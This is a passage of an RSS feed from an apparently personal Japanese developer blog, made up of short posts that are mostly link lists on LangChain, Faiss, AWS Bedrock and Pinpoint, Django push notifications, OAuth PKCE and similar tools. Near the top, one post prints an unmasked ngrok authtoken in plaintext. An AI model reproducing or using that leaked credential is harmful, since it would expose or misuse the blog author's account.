&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;ngrok config add-authtoken 1p09hGDXtLcDay6Jz3usWSG1z7L_2upHYxJggN7FbEKcRPP7U&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/opt/homebrew/bin/ngrok config add-authtoken ***********************************
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Authtoken saved to configuration file: /Users/hdknr/.ngrok2/ngrok.yml
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Default version saved to configuration file: /Users/hdknr/.ngrok2/ngrok.yml
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Faiss</title><link>https://hdknr.github.io/blogs/posts/2024/03/faiss/</link><pubDate>Fri, 15 Mar 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/03/faiss/</guid><description>&lt;h1 id="faiss-facebook-ai-similarity-search"&gt;Faiss (Facebook AI Similarity Search)&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://faiss.ai/index.html"&gt;Welcome to Faiss Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://zenn.dev/yag_ays/articles/65a4154d0dedfa"&gt;Faiss をソースコードからビルドして GPU で利用する&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://note.com/masuidrive/n/n5dc6da6dd2b6"&gt;最近話題の Vector Search を実現する Faiss って何？ #1&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://book.st-hakky.com/data-science/faiss-overview/"&gt;Faiss の概要&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/@tahir.rauf/similarity-search-using-langchain-and-bedrock-4140b0ae9c58"&gt;Generate Embeddings using Amazon Bedrock and LangChain&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>LangChain</title><link>https://hdknr.github.io/blogs/posts/2024/03/langchain/</link><pubDate>Fri, 15 Mar 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/03/langchain/</guid><description>&lt;h1 id="langchain"&gt;LangChain&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.langchain.com/"&gt;https://www.langchain.com/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/search?q=langchain"&gt;https://qiita.com/search?q=langchain&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://zenn.dev/search?q=langchain"&gt;https://zenn.dev/search?q=langchain&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://zenn.dev/topics/langchain"&gt;https://zenn.dev/topics/langchain&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://book.st-hakky.com/data-science/langcain-in-python/"&gt;LangChain を Python で使う&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/minorun365/items/081fc560e08f0197a7a8"&gt;そろそろ知っておかないとヤバい？ 話題の LangChain を 30 分だけ触って理解しよう！&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dev.classmethod.jp/articles/get-start-bedrock-with-langchain/"&gt;Amazon Bedrock を LangChain 経由で使って会話履歴も保存してみた&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="生成-ai-アプリ開発フレームワーク-langchain-入門"&gt;&lt;a href="https://zenn.dev/yoshiyuki_kono/articles/63e731ab98ffca"&gt;生成 AI アプリ開発フレームワーク LangChain 入門&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;独自データの活用:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ファインチューニング (LLM + 独自データ -(再レーニング)-&amp;gt; 独自 LLM)&lt;/li&gt;
&lt;li&gt;プロンプトエンジニアリング(独自データをコンテキストとして与えて LLM から生成)&lt;/li&gt;
&lt;li&gt;ベクトル検索(ベクトル化された独自データから最適解をコンテキストとして与えて LLM から生成)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="langchain-とは"&gt;&lt;a href="https://www.ibm.com/jp-ja/topics/langchain"&gt;LangChain とは&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;大規模言語モデル（LLM）を使用したアプリケーション開発のためのオープンソース・オーケストレーション・フレームワーク&lt;/li&gt;
&lt;li&gt;チャットボットや仮想エージェントなどの LLM 駆動型アプリケーションの構築プロセスを簡素化&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="langchain-の仕組みとは"&gt;LangChain の仕組みとは&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;抽象化によって LLM アプリケーションのプログラミングを効率化する開発環境&lt;/li&gt;
&lt;li&gt;1 つ以上の複雑なプロセスの構成ステップをすべてカプセル化した名前付きコンポーネントとみなすことでコードを簡素化&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;言語モデルのインポート:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ほぼすべての LLM を使用できます&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;プロンプトテンプレート:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;プロンプト: LLM に与えられる指示&lt;/li&gt;
&lt;li&gt;プロンプトエンジニアリング:LLM が入力を解釈し、最も役立つ方法で出力を構成するために必要なコンテキストを効果的に提供するプロンプトを作成する作業&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;チェーン:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;LLM を他のコンポーネントと組み合わせ、一連の関数を実行することでアプリケーションを作成&lt;/li&gt;
&lt;li&gt;LLMChain: 基本チェーン: 単にモデルを呼び出し、そのモデルのプロンプトテンプレートを呼び出す&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;インデックス:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;トレーニングデータセットに含まれていない特定の外部データソース&lt;/p&gt;</description></item><item><title>StreamIt</title><link>https://hdknr.github.io/blogs/posts/2024/03/streamit/</link><pubDate>Fri, 15 Mar 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/03/streamit/</guid><description>&lt;h1 id="streamit"&gt;StreamIt&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://qiita.com/tamura__246/items/366b5581c03dd74f4508"&gt;Streamlit 入門＋応用 ～ データ分析 Web アプリを爆速で開発する&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://toukei-lab.com/streamlit"&gt;Streamlit の使い方を解説！Python で簡単に Web アプリを作ってみよう！&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/sypn/items/80962d84126be4092d3c"&gt;streamlit を使ったお手軽 Web アプリ開発&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>AWS: Bedrock: KnowlegeBase</title><link>https://hdknr.github.io/blogs/posts/2024/03/aws-bedrock-knowlegebase/</link><pubDate>Thu, 14 Mar 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/03/aws-bedrock-knowlegebase/</guid><description>&lt;h1 id="aws-bedrock-knowlege-base"&gt;AWS: Bedrock: Knowlege Base&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://wp-kyoto.net/create-a-new-rag-knowledgebase-using-appflow-and-stripe/"&gt;AppFlow と Amazon Bedrock を利用して Stripe の商品・料金情報についての RAG を作ってみる&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://wp-kyoto.net/get-started-with-bedrock-knowledge-base-with-pinecone/"&gt;Amazon Bedrock に新登場した「Knowledge base」を試してみた（Pinecone 利用編）&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://zenn.dev/kun432/scraps/c3d65c44e60755"&gt;Amazon Bedrock for Knowledge base を試す&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://dev.classmethod.jp/articles/try-bedrock-knowledge-base/"&gt;[やってみた]Amazon Bedrock の Knowledge base を触ってみた #AWSreInvent&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://blog.serverworks.co.jp/easy-rag-setup-knowledge-base-for-amazon-bedrock-aurora-serverless"&gt;【コピペで RAG 構築】Knowledge Base for Amazon Bedrock(Aurora Serverless v2 for PostgreSQL)&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://blog.serverworks.co.jp/bedrock-knowledge-base"&gt;【re:Invent 2023】Knowledge base for Amazon Bedrock が GA したので解説します&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://qiita.com/t_tsuchida/items/7596e2d8384999e24c61"&gt;Amazon Bedrock の Knowledge base を試す&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://dev.classmethod.jp/articles/update-reinvent2023-bedrock-rag/"&gt;[アップデート] Amazon Bedrock で簡単に RAG が実現できる、Retrieval Augmented Generation (RAG) with Knowledge Base がとうとう GA になりました！！ #AWSreinvent&lt;/a&gt;&lt;/p&gt;</description></item><item><title>PHP: LightSpeed</title><link>https://hdknr.github.io/blogs/posts/2024/03/php-lightspeed/</link><pubDate>Tue, 12 Mar 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/03/php-lightspeed/</guid><description>&lt;h1 id="php--ligthspeed"&gt;PHP : LigthSpeed&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://qiita.com/BRSF/items/ed838139a97e5d702d09"&gt;第 4 の WEB サーバ「LiteSpeed」は Nginx より高速か、centOS7 に環境構築し動作検証&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://kosen.monster/?p=1494"&gt;Ubuntu 20.04 + OpenLiteSpeed で爆速 WordPress 構築の夢を見るのか&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.apar.jp/linux/10121/"&gt;LiteSpeed Web Server の HTTPS（SSL/TLS）設定メモ&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>freee</title><link>https://hdknr.github.io/blogs/posts/2024/03/freee/</link><pubDate>Sat, 09 Mar 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/03/freee/</guid><description>&lt;h1 id="freee"&gt;freee&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://freee.ito-kaik.com/consideration/103/"&gt;個人事業主が freee 会計を初めて使う場合、失敗しない料金プランはこれ！&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://jiei.com/soft/freee-kojinplan"&gt;【freee 会計】個人事業主向けの３プランを徹底比較！&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;スタンダードプラン:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;事業を営んでいる方。（建設業、運送業、製造業、飲食業、サービス業、デザイン業、カフェ、雑貨屋、医科クリニック、歯科クリニックなど）&lt;/li&gt;
&lt;li&gt;毎月の取引（領収書、請求書）が 6 件以上ある方。&lt;/li&gt;
&lt;li&gt;売上が 1,000 万円/年を超える方。&lt;/li&gt;
&lt;li&gt;取引先が複数あり売掛金・未収金の入金管理をしたい方。&lt;/li&gt;
&lt;li&gt;支払先が複数あり支払管理をしたい方。&lt;/li&gt;
&lt;li&gt;資金繰り表を作りたい方。&lt;/li&gt;
&lt;li&gt;複数店舗や部門はあるが部門管理まで必要ない方。&lt;/li&gt;
&lt;li&gt;複数社員はいるが、経費精算までする必要が無い方。&lt;/li&gt;
&lt;li&gt;法人設立を準備されている方。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;スタータープランにむいている個人事業主:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;副業で収入も少額であり、入金管理が必要ない方。&lt;/li&gt;
&lt;li&gt;支払件数も少なく、支払管理が必要ない方。&lt;/li&gt;
&lt;li&gt;書類の写真等のデータ取込を行う枚数が毎月 5 枚以下である方。&lt;/li&gt;
&lt;li&gt;自分だけしか freee 会計の作業をしない方 。&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>AWS: Pinpoint</title><link>https://hdknr.github.io/blogs/posts/2024/03/aws-pinpoint/</link><pubDate>Mon, 04 Mar 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/03/aws-pinpoint/</guid><description>&lt;h1 id="aws-pinpoint"&gt;AWS Pinpoint&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.ragate.co.jp/blog/articles/11830"&gt;Amazon Pinpoint を AWS エキスパートが解説 😎 AWS でマーケティングを簡単・手早く効率化させましょう 🚀&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Push:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.aws.amazon.com/ja_jp/pinpoint/latest/userguide/channels-push.html"&gt;Amazon Pinpoint プッシュ通知&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://zenn.dev/torana_tech/articles/0d0ca387a399ce"&gt;PWA と Amazon Pinpoint による通知機能&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.acrovision.jp/service/aws/?p=1421"&gt;Amazon Pinpoint とは？わかりやすく解説！低コストでプッシュ通知を実現しよう！&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/sadnessOjisan/items/05bbca78bca3301d24b2"&gt;マッチングアプリ強者を体験できる PWA 開発で、Web プッシュ通知を理解しよう&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://zenn.dev/chocoyama/articles/5b07eead5ae0aa"&gt;令和 4 年の Push 通知を改めて整理する&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://techblog.haldata.net/entry/2019/09/23/030438"&gt;Firebase を使って Web プッシュ通知を実装する&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.next.inc/articles/2023/flutter%E3%81%A7%E3%83%97%E3%83%83%E3%82%B7%E3%83%A5%E9%80%9A%E7%9F%A5%E3%82%92%E5%AE%9F%E8%A3%85fcm-x-aws-pinpoint%E3%80%82%E3%83%87%E3%83%90%E3%82%A4%E3%82%B9%E3%83%88%E3%83%BC%E3%82%AF%E3%83%B3.html"&gt;【FCM x AWS Pinpoint】Flutter で Push 通知を実装したい！デバイストークンを AWS Pinpoint のエンドポイントに登録する方法&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;SMS:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://dev.classmethod.jp/articles/amazon-pinpoint-send-sms/"&gt;Amazon Pinpoint を使った SMS 送信をおこなってみた&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Amazon SNS や Amazon Pinpoint からのモバイルテキストメッセージ (SMS) にかかる料金が予想よりも高くなるのはなぜですか?&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gist.github.com/aws-john/1a14bf454bfe7e86b38ef1f202756ced"&gt;Send transactional SMS via Amazon PinPoint&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Notification:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://web.dev/explore/notifications?hl=ja"&gt;通知&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;FCM:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://firebase.google.com/docs/cloud-messaging?hl=ja"&gt;Firebase Cloud Messaging&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;SNS:&lt;/p&gt;</description></item><item><title>Google: GMail</title><link>https://hdknr.github.io/blogs/posts/2024/03/google-gmail/</link><pubDate>Mon, 04 Mar 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/03/google-gmail/</guid><description>&lt;h1 id="google-gmail"&gt;Google: GMail&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://support.gluegent.com/hc/ja/articles/206261322-%E3%82%A2%E3%82%AB%E3%82%A6%E3%83%B3%E3%83%88%E3%81%AE%E3%83%87%E3%83%BC%E3%82%BF%E3%82%92%E3%83%80%E3%82%A6%E3%83%B3%E3%83%AD%E3%83%BC%E3%83%89%E3%81%99%E3%82%8B%E3%81%93%E3%81%A8%E3%81%AF%E3%81%A7%E3%81%8D%E3%81%BE%E3%81%99%E3%81%8B"&gt;Gmail のデータをエクスポート・インポートすることは可能ですか&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.outlooktransfer.com/ja/how-to-open-mbox-file/"&gt;MBOX ファイルを開く方法&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="apple-mail"&gt;Apple Mail&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://support.apple.com/ja-jp/guide/mail/mlhlp1030/mac"&gt;Mac の「メール」でメールボックスを読み込む/書き出す&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>OAuth: PKCE</title><link>https://hdknr.github.io/blogs/posts/2024/02/oauth-pkce/</link><pubDate>Wed, 28 Feb 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/02/oauth-pkce/</guid><description>&lt;h1 id="oauth-pkce"&gt;OAuth PKCE&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.liip.ch/en/blog/authorization-code-with-pkce-on-django-using-django-oauth-toolkit"&gt;Authorization Code with PKCE on Django using django-oauth-toolkit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://django-oauth-toolkit.readthedocs.io/en/latest/settings.html#pkce-required"&gt;PKCE_REQUIRED&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://tex2e.github.io/rfc-translater/html/rfc7636.html"&gt;RFC 7636 - Proof Key for Code Exchange by OAuth Public Clients 日本語訳&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Django: Push Notification</title><link>https://hdknr.github.io/blogs/posts/2024/02/django-push-notification/</link><pubDate>Tue, 27 Feb 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/02/django-push-notification/</guid><description>&lt;h1 id="django-push-notification"&gt;Django: Push Notification&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/jazzband/django-push-notifications"&gt;https://github.com/jazzband/django-push-notifications&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/xtrinch/fcm-django"&gt;https://github.com/xtrinch/fcm-django&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="apns-apple"&gt;APNS (Apple)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://repro.io/contents/ios-remote-push-notifications-in-a-nutshell/"&gt;APNs とは？設定と実装方法を解説！&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/jazzband/django-push-notifications/blob/master/docs/APNS.rst"&gt;Generation of an APNS PEM file&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://developer.apple.com/documentation/usernotifications/setting_up_a_remote_notification_server/establishing_a_token-based_connection_to_apns"&gt;Establishing a token-based connection to APNs&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="fcmgcmgoogle"&gt;FCM/GCM(Google)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://tech-blog.rakus.co.jp/entry/20210326/firebase"&gt;Firebase でローコードなプッシュ通知を実装してみた&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="web-push"&gt;Web Push&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/safwanrahman/django-webpush"&gt;https://github.com/safwanrahman/django-webpush&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/web-push-libs/pywebpush"&gt;https://github.com/web-push-libs/pywebpush&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/jazzband/django-push-notifications"&gt;https://github.com/jazzband/django-push-notifications&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/elishowk/django-webpush-demo"&gt;https://github.com/elishowk/django-webpush-demo&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.monotalk.xyz/blog/django-push-notifications-%E3%82%92%E4%BD%BF%E3%81%A3%E3%81%A6web-push-%E9%80%9A%E7%9F%A5%E3%82%92%E5%AE%9F%E8%A3%85%E3%81%99%E3%82%8B/"&gt;django-push-notifications を使って、Web Push 通知を実装する&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/tomoyukilabs/items/217915676603fda73b0a"&gt;Web Push でブラウザにプッシュ通知を送ってみる&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.casleydi.com/blog/engineer/293/"&gt;ブラウザでプッシュ通知を実装してみた&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://zenn.dev/tomokisato/articles/f82dcf5a4850a1"&gt;Web Push のサーバーサイドの処理〜VAPID と Message Encription を中心に〜&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://tech.niftylifestyle.co.jp/entry/1152"&gt;iOS16.4 から iOS の Safari でも Web プッシュが受け取れるようになったので AWS の機能でも試してみた！ – 前編 (ローカルでの Web プッシュ通知と PWA 化)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://tech.niftylifestyle.co.jp/entry/1151"&gt;iOS16.4 から iOS の Safari でも Web プッシュが受け取れるようになったので AWS の機能でも試してみた！ – 後編 (リモートでの Web プッシュ通知)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Spec:&lt;/p&gt;</description></item><item><title>ChatGPT: PowerPoint生成</title><link>https://hdknr.github.io/blogs/posts/2024/02/chatgpt-powerpoint%E7%94%9F%E6%88%90/</link><pubDate>Wed, 21 Feb 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/02/chatgpt-powerpoint%E7%94%9F%E6%88%90/</guid><description>&lt;h1 id="chatgpt-powerpoint-生成"&gt;CHatGPT PowerPoint 生成&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://dev.to/copilotkit/how-to-build-ai-powered-powerpoint-app-nextjs-openai-copilotkit-ji2"&gt;How to build: an AI PowerPoint generator (Next.js, OpenAI, CopilotKit)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/CopilotKit/CopilotKit"&gt;https://github.com/CopilotKit/CopilotKit&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>ssh: port forwarding</title><link>https://hdknr.github.io/blogs/posts/2024/02/ssh-port-forwarding/</link><pubDate>Tue, 20 Feb 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/02/ssh-port-forwarding/</guid><description>&lt;h1 id="ssh-ポートフォワーディング"&gt;ssh ポートフォワーディング&lt;/h1&gt;
&lt;h2 id="ecs"&gt;ECS&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://zenn.dev/quiver/articles/d01aa276eded"&gt;Securely connect to an Amazon RDS using ECS Fargate as a bastion&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://zenn.dev/quiver/articles/1458e453118254"&gt;ECS Fargate を踏み台にポートフォワードして VPC 内の RDS に接続する&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Terraform:ロック</title><link>https://hdknr.github.io/blogs/posts/2024/02/terraform%E3%83%AD%E3%83%83%E3%82%AF/</link><pubDate>Sun, 18 Feb 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/02/terraform%E3%83%AD%E3%83%83%E3%82%AF/</guid><description>&lt;h1 id="terraform-ロック"&gt;Terraform ロック&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://dev.classmethod.jp/articles/terraform-state-lock-on-local/"&gt;Terraform で State Lock エラーが発生したら&lt;/a&gt;&lt;/p&gt;</description></item><item><title>AWS:RDS:モニタリング</title><link>https://hdknr.github.io/blogs/posts/2024/02/awsrds%E3%83%A2%E3%83%8B%E3%82%BF%E3%83%AA%E3%83%B3%E3%82%B0/</link><pubDate>Fri, 16 Feb 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/02/awsrds%E3%83%A2%E3%83%8B%E3%82%BF%E3%83%AA%E3%83%B3%E3%82%B0/</guid><description>&lt;h1 id="rds-モニタリング"&gt;RDS モニタリング&lt;/h1&gt;
&lt;h2 id="拡張モニタリング"&gt;拡張モニタリング&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.aws.amazon.com/ja_jp/AmazonRDS/latest/UserGuide/USER_Monitoring.OS.Enabling.html#USER_Monitoring.OS.Enabling.Procedure"&gt;拡張モニタリングの設定と有効化&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="起動時刻関連"&gt;起動時刻関連&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://chrisshennan.com/blog/howto-check-how-long-a-mysql-server-has-been-running"&gt;HowTo: Check how long a MySQL server has been running&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SHOW GLOBAL STATUS LIKE 'Uptime';&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;SELECT&lt;/span&gt; FROM_UNIXTIME(UNIX_TIMESTAMP() &lt;span style="color:#f92672"&gt;-&lt;/span&gt; variable_value) &lt;span style="color:#66d9ef"&gt;AS&lt;/span&gt; last_started
